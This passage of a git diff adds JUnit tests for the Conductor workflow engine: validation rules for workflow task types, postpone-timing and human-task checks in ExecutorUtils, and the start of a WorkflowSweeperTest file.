    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.validations; + +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.AfterClass; +import org.junit.Assert; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.tasks.Terminate; +import com.netflix.conductor.dao.MetadataDAO; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; +import jakarta.validation.executable.ExecutableValidator; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.when; + +public class WorkflowTaskTypeConstraintTest { + + private static Validator validator; + private static ValidatorFactory validatorFactory; + private MetadataDAO mockMetadataDao; + + @BeforeClass + public static void init() { + validatorFactory = Validation.buildDefaultValidatorFactory(); + validator = validatorFactory.getValidator(); + } + + @AfterClass + public static void close() { + validatorFactory.close(); + } + + @Before + public void setUp() { + mockMetadataDao = Mockito.mock(MetadataDAO.class); + ValidationContext.initialize(mockMetadataDao); + } + + @Test + public void testWorkflowTaskMissingReferenceName() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setDynamicForkTasksParam("taskList"); + workflowTask.setDynamicForkTasksInputParamName("ForkTaskInputParam"); + workflowTask.setTaskReferenceName(null); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + assertEquals( + result.iterator().next().getMessage(), + "WorkflowTask taskReferenceName name cannot be empty or null"); + } + + @Test + public void testWorkflowTaskTestSetType() throws NoSuchMethodException { + WorkflowTask workflowTask = createSampleWorkflowTask(); + + Method method = WorkflowTask.class.getMethod("setType", String.class); + Object[] parameterValues = {""}; + + ExecutableValidator executableValidator = validator.forExecutables(); + + Set> result = + executableValidator.validateParameters(workflowTask, method, parameterValues); + + assertEquals(1, result.size()); + assertEquals( + result.iterator().next().getMessage(), "WorkTask type cannot be null or empty"); + } + + @Test + public void testWorkflowTaskTypeEvent() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("EVENT"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + assertEquals( + result.iterator().next().getMessage(), + "sink field is required for taskType: EVENT taskName: encode"); + } + + @Test + public void testWorkflowTaskTypeDynamic() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("DYNAMIC"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + assertEquals( + result.iterator().next().getMessage(), + "dynamicTaskNameParam field is required for taskType: DYNAMIC taskName: encode"); + } + + @Test + public void testWorkflowTaskTypeDecision() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("DECISION"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(2, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "decisionCases should have atleast one task for taskType: DECISION taskName: encode")); + assertTrue( + validationErrors.contains( + "caseValueParam or caseExpression field is required for taskType: DECISION taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeDoWhile() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("DO_WHILE"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(2, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "loopCondition field is required for taskType: DO_WHILE taskName: encode")); + assertTrue( + validationErrors.contains( + "loopOver field is required for taskType: DO_WHILE taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeWait() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("WAIT"); + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + workflowTask.setInputParameters(Map.of("duration", "10s", "until", "2022-04-16")); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + result = validator.validate(workflowTask); + assertEquals(1, result.size()); + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "Both 'duration' and 'until' specified. Please provide only one input")); + } + + @Test + public void testWorkflowTaskTypeDecisionWithCaseParam() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("DECISION"); + workflowTask.setCaseExpression("$.valueCheck == null ? 'true': 'false'"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "decisionCases should have atleast one task for taskType: DECISION taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamic() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(2, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "dynamicForkTasksInputParamName field is required for taskType: FORK_JOIN_DYNAMIC taskName: encode")); + assertTrue( + validationErrors.contains( + "dynamicForkTasksParam field is required for taskType: FORK_JOIN_DYNAMIC taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamicLegacy() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + workflowTask.setDynamicForkJoinTasksParam("taskList"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamicWithForJoinTaskParam() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + workflowTask.setDynamicForkJoinTasksParam("taskList"); + workflowTask.setDynamicForkTasksInputParamName("ForkTaskInputParam"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "dynamicForkJoinTasksParam or combination of dynamicForkTasksInputParamName and dynamicForkTasksParam cam be used for taskType: FORK_JOIN_DYNAMIC taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamicValid() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + workflowTask.setDynamicForkTasksParam("ForkTasksParam"); + workflowTask.setDynamicForkTasksInputParamName("ForkTaskInputParam"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamicWithForkTaskInputs() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + // Using the simple forkTaskInputs approach - no dynamicForkTasksParam or + // dynamicForkTasksInputParamName needed + workflowTask.getInputParameters().put("forkTaskInputs", List.of(Map.of("key", "value"))); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeForJoinDynamicWithForJoinTaskParamAndInputTaskParam() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + workflowTask.setDynamicForkJoinTasksParam("taskList"); + workflowTask.setDynamicForkTasksInputParamName("ForkTaskInputParam"); + workflowTask.setDynamicForkTasksParam("ForkTasksParam"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "dynamicForkJoinTasksParam or combination of dynamicForkTasksInputParamName and dynamicForkTasksParam cam be used for taskType: FORK_JOIN_DYNAMIC taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeHTTP() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + workflowTask.getInputParameters().put("http_request", "http://www.netflix.com"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeHTTPWithHttpParamMissing() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "inputParameters.http_request or inputParameters.uri field is required for taskType: HTTP taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeHTTPWithTopLevelParams() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + workflowTask.getInputParameters().put("uri", "http://www.netflix.com"); + workflowTask.getInputParameters().put("method", "GET"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeHTTPWithTopLevelUriOnly() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + workflowTask.getInputParameters().put("uri", "http://www.netflix.com"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeHTTPWithHttpParamInTaskDef() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + + TaskDef taskDef = new TaskDef(); + taskDef.setName("encode"); + taskDef.getInputTemplate().put("http_request", "http://www.netflix.com"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(taskDef); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeHTTPWithHttpParamInTaskDefAndWorkflowTask() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("HTTP"); + workflowTask.getInputParameters().put("http_request", "http://www.netflix.com"); + + TaskDef taskDef = new TaskDef(); + taskDef.setName("encode"); + taskDef.getInputTemplate().put("http_request", "http://www.netflix.com"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(taskDef); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeFork() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("FORK_JOIN"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "forkTasks should have atleast one task for taskType: FORK_JOIN taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeSubworkflowMissingSubworkflowParam() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("SUB_WORKFLOW"); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "subWorkflowParam field is required for taskType: SUB_WORKFLOW taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeTerminateWithoutTerminationStatus() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_TERMINATE); + workflowTask.setName("terminate_task"); + + workflowTask.setInputParameters( + Collections.singletonMap( + Terminate.getTerminationWorkflowOutputParameter(), "blah")); + List validationErrors = getErrorMessages(workflowTask); + + Assert.assertEquals(1, validationErrors.size()); + Assert.assertEquals( + "terminate task must have an terminationStatus parameter and must be set to COMPLETED or FAILED, taskName: terminate_task", + validationErrors.get(0)); + } + + @Test + public void testWorkflowTaskTypeTerminateWithInvalidStatus() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_TERMINATE); + workflowTask.setName("terminate_task"); + + workflowTask.setInputParameters( + Collections.singletonMap(Terminate.getTerminationStatusParameter(), "blah")); + + List validationErrors = getErrorMessages(workflowTask); + + Assert.assertEquals(1, validationErrors.size()); + Assert.assertEquals( + "terminate task must have an terminationStatus parameter and must be set to COMPLETED or FAILED, taskName: terminate_task", + validationErrors.get(0)); + } + + @Test + public void testWorkflowTaskTypeTerminateOptional() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_TERMINATE); + workflowTask.setName("terminate_task"); + + workflowTask.setInputParameters( + Collections.singletonMap(Terminate.getTerminationStatusParameter(), "COMPLETED")); + workflowTask.setOptional(true); + + List validationErrors = getErrorMessages(workflowTask); + + Assert.assertEquals(1, validationErrors.size()); + Assert.assertEquals( + "terminate task cannot be optional, taskName: terminate_task", + validationErrors.get(0)); + } + + @Test + public void testWorkflowTaskTypeTerminateValid() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_TERMINATE); + workflowTask.setName("terminate_task"); + + workflowTask.setInputParameters( + Collections.singletonMap(Terminate.getTerminationStatusParameter(), "COMPLETED")); + + List validationErrors = getErrorMessages(workflowTask); + + Assert.assertEquals(0, validationErrors.size()); + } + + @Test + public void testWorkflowTaskTypeKafkaPublish() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("KAFKA_PUBLISH"); + workflowTask.getInputParameters().put("kafka_request", "testInput"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeKafkaPublishWithRequestParamMissing() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("KAFKA_PUBLISH"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "inputParameters.kafka_request field is required for taskType: KAFKA_PUBLISH taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeKafkaPublishWithKafkaParamInTaskDef() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("KAFKA_PUBLISH"); + + TaskDef taskDef = new TaskDef(); + taskDef.setName("encode"); + taskDef.getInputTemplate().put("kafka_request", "test_kafka_request"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(taskDef); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeKafkaPublishWithRequestParamInTaskDefAndWorkflowTask() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("KAFKA_PUBLISH"); + workflowTask.getInputParameters().put("kafka_request", "http://www.netflix.com"); + + TaskDef taskDef = new TaskDef(); + taskDef.setName("encode"); + taskDef.getInputTemplate().put("kafka_request", "test Kafka Request"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(taskDef); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeJSONJQTransform() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("JSON_JQ_TRANSFORM"); + workflowTask.getInputParameters().put("queryExpression", "."); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskTypeJSONJQTransformWithQueryParamMissing() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("JSON_JQ_TRANSFORM"); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + + Set> result = validator.validate(workflowTask); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "inputParameters.queryExpression field is required for taskType: JSON_JQ_TRANSFORM taskName: encode")); + } + + @Test + public void testWorkflowTaskTypeJSONJQTransformWithQueryParamInTaskDef() { + WorkflowTask workflowTask = createSampleWorkflowTask(); + workflowTask.setType("JSON_JQ_TRANSFORM"); + + TaskDef taskDef = new TaskDef(); + taskDef.setName("encode"); + taskDef.getInputTemplate().put("queryExpression", "."); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(taskDef); + + Set> result = validator.validate(workflowTask); + assertEquals(0, result.size()); + } + + private List getErrorMessages(WorkflowTask workflowTask) { + Set> result = validator.validate(workflowTask); + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + return validationErrors; + } + + private WorkflowTask createSampleWorkflowTask() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("encode"); + workflowTask.setTaskReferenceName("encode"); + workflowTask.setType("FORK_JOIN_DYNAMIC"); + Map inputParam = new HashMap<>(); + inputParam.put("fileLocation", "${workflow.input.fileLocation}"); + workflowTask.setInputParameters(inputParam); + return workflowTask; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/ExecutorUtilsTest.java b/core/src/test/java/org/conductoross/conductor/core/execution/ExecutorUtilsTest.java new file mode 100644 index 0000000..7b67c1d --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/ExecutorUtilsTest.java @@ -0,0 +1,285 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution; + +import java.time.Duration; +import java.util.Arrays; +import java.util.List; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class ExecutorUtilsTest { + + @Test + public void computePostponeUsesMinimumAcrossTasks() { + TaskModel scheduledLong = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + TaskDef longPollDef = new TaskDef(); + longPollDef.setPollTimeoutSeconds(50); + WorkflowTask longWorkflowTask = new WorkflowTask(); + longWorkflowTask.setTaskDefinition(longPollDef); + scheduledLong.setWorkflowTask(longWorkflowTask); + + TaskModel scheduledShort = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + TaskDef shortPollDef = new TaskDef(); + shortPollDef.setPollTimeoutSeconds(5); + WorkflowTask shortWorkflowTask = new WorkflowTask(); + shortWorkflowTask.setTaskDefinition(shortPollDef); + scheduledShort.setWorkflowTask(shortWorkflowTask); + + WorkflowModel workflow = + newWorkflow(Arrays.asList(scheduledLong, scheduledShort), 0 /* timeoutSeconds */); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + assertEquals(6, result.getSeconds()); + } + + @Test + public void computePostponeCapsByMaxPostpone() { + TaskModel responseTask = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.IN_PROGRESS); + responseTask.setResponseTimeoutSeconds(500); + responseTask.setStartTime(System.currentTimeMillis()); + + WorkflowModel workflow = newWorkflow(Arrays.asList(responseTask), 0); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(60)); + + assertEquals(60, result.getSeconds()); + } + + @Test + public void computePostponeUsesScheduledPollTimeout() { + TaskDef taskDef = new TaskDef(); + taskDef.setPollTimeoutSeconds(10); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskDefinition(taskDef); + + TaskModel scheduled = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + scheduled.setWorkflowTask(workflowTask); + + WorkflowModel workflow = newWorkflow(Arrays.asList(scheduled), 0); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + assertEquals(11, result.getSeconds()); + } + + @Test + public void computePostponeUsesWorkflowOffsetForScheduledSubWorkflow() { + TaskModel scheduledSubWorkflow = + newTask(TaskType.TASK_TYPE_SUB_WORKFLOW, TaskModel.Status.SCHEDULED); + + WorkflowModel workflow = newWorkflow(Arrays.asList(scheduledSubWorkflow), 432000); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(900)); + + assertEquals(30, result.getSeconds()); + } + + @Test + public void computePostponePrefersScheduledSubWorkflowOffsetOverWorkflowTimeout() { + TaskModel scheduledSubWorkflow = + newTask(TaskType.TASK_TYPE_SUB_WORKFLOW, TaskModel.Status.SCHEDULED); + TaskModel scheduledSimple = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + + WorkflowModel workflow = + newWorkflow(Arrays.asList(scheduledSimple, scheduledSubWorkflow), 432000); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(900)); + + assertEquals(30, result.getSeconds()); + } + + @Test + public void computePostponeUsesWorkflowOffsetForInProgressSubWorkflow() { + TaskModel inProgressSubWorkflow = + newTask(TaskType.TASK_TYPE_SUB_WORKFLOW, TaskModel.Status.IN_PROGRESS); + inProgressSubWorkflow.setResponseTimeoutSeconds(500); + inProgressSubWorkflow.setStartTime(System.currentTimeMillis()); + + WorkflowModel workflow = newWorkflow(Arrays.asList(inProgressSubWorkflow), 432000); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(900)); + + assertEquals(30, result.getSeconds()); + } + + @Test + public void computePostponeDefaultsToWorkflowOffsetWhenNoEligibleTasks() { + TaskModel completed = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.COMPLETED); + WorkflowModel workflow = newWorkflow(Arrays.asList(completed), 0); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + assertEquals(30, result.getSeconds()); + } + + @Test + public void computePostponeUsesOffsetForWaitWithoutTimeout() { + TaskModel waitTask = newTask(TaskType.TASK_TYPE_WAIT, TaskModel.Status.IN_PROGRESS); + waitTask.setWaitTimeout(0); + WorkflowModel workflow = newWorkflow(Arrays.asList(waitTask), 0); + + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + assertEquals(30, result.getSeconds()); + } + + /** Boundary: SCHEDULED task whose poll window has already elapsed → remaining = 0. */ + @Test + public void computePostponeScheduledElapsedExceedsTimeout() { + TaskModel task = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + TaskDef taskDef = new TaskDef(); + taskDef.setPollTimeoutSeconds(1); // 1-second poll window + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskDefinition(taskDef); + task.setWorkflowTask(workflowTask); + // Push scheduledTime far into the past so elapsed >> pollTimeout + task.setScheduledTime(System.currentTimeMillis() - 60_000); + + WorkflowModel workflow = newWorkflow(Arrays.asList(task), 0); + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + // Elapsed >> pollTimeout: remaining = 0, clamped to 0 + assertEquals( + "When poll window is already elapsed, postpone should be 0", + 0L, + result.getSeconds()); + } + + /** Boundary: IN_PROGRESS task whose response window has already elapsed → remaining = 0. */ + @Test + public void computePostponeInProgressElapsedExceedsResponseTimeout() { + TaskModel task = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.IN_PROGRESS); + task.setResponseTimeoutSeconds(1); // 1-second response window + // Push startTime far into the past so elapsed >> responseTimeout + task.setStartTime(System.currentTimeMillis() - 60_000); + + WorkflowModel workflow = newWorkflow(Arrays.asList(task), 0); + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + assertEquals( + "When response window is already elapsed, postpone should be 0", + 0L, + result.getSeconds()); + } + + /** + * Boundary: taskDef.responseTimeout=0 but taskModel.responseTimeout is non-zero — model wins. + */ + @Test + public void computePostponeUsesTaskModelResponseTimeoutWhenTaskDefIsZero() { + TaskModel task = newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.IN_PROGRESS); + // taskDef has responseTimeoutSeconds=0 (not set), taskModel has 120s + TaskDef taskDef = new TaskDef(); + taskDef.setResponseTimeoutSeconds(0); // explicitly zero + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskDefinition(taskDef); + task.setWorkflowTask(workflowTask); + task.setResponseTimeoutSeconds(120); + task.setStartTime(System.currentTimeMillis()); + + WorkflowModel workflow = newWorkflow(Arrays.asList(task), 0); + Duration result = + ExecutorUtils.computePostpone( + workflow, Duration.ofSeconds(30), Duration.ofSeconds(3600)); + + // Should use task model's 120s, not fall back to workflow offset (30s) + assertTrue( + "When taskDef.responseTimeout=0, taskModel.responseTimeout (120s) should be used; " + + "result=" + + result.getSeconds(), + result.getSeconds() > 30); + assertTrue( + "Result should be ~120s remaining; got " + result.getSeconds(), + result.getSeconds() <= 121); + } + + private WorkflowModel newWorkflow(List tasks, long timeoutSeconds) { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setTimeoutSeconds(timeoutSeconds); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setWorkflowDefinition(workflowDef); + workflow.setTasks(tasks); + return workflow; + } + + @Test + public void hasInProgressHumanTaskTrueForInProgressHuman() { + WorkflowModel workflow = + newWorkflow( + Arrays.asList( + newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.COMPLETED), + newTask(TaskType.TASK_TYPE_HUMAN, TaskModel.Status.IN_PROGRESS)), + 0); + assertTrue(ExecutorUtils.hasInProgressHumanTask(workflow)); + } + + @Test + public void hasInProgressHumanTaskFalseWhenNoInProgressHuman() { + WorkflowModel noHuman = + newWorkflow( + Arrays.asList( + newTask(TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.IN_PROGRESS)), + 0); + assertFalse(ExecutorUtils.hasInProgressHumanTask(noHuman)); + + WorkflowModel terminalHuman = + newWorkflow( + Arrays.asList( + newTask(TaskType.TASK_TYPE_HUMAN, TaskModel.Status.COMPLETED)), + 0); + assertFalse(ExecutorUtils.hasInProgressHumanTask(terminalHuman)); + } + + private TaskModel newTask(String taskType, TaskModel.Status status) { + TaskModel task = new TaskModel(); + task.setTaskType(taskType); + task.setStatus(status); + task.setTaskId("taskId-" + taskType + "-" + status); + task.setScheduledTime(System.currentTimeMillis()); + return task; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/WorkflowSweeperTest.java b/core/src/test/java/org/conductoross/conductor/core/execution/WorkflowSweeperTest.java new file mode 100644 index 0000000..3cf21ed --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/WorkflowSweeperTest.java @@ -0,0 +1,205 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

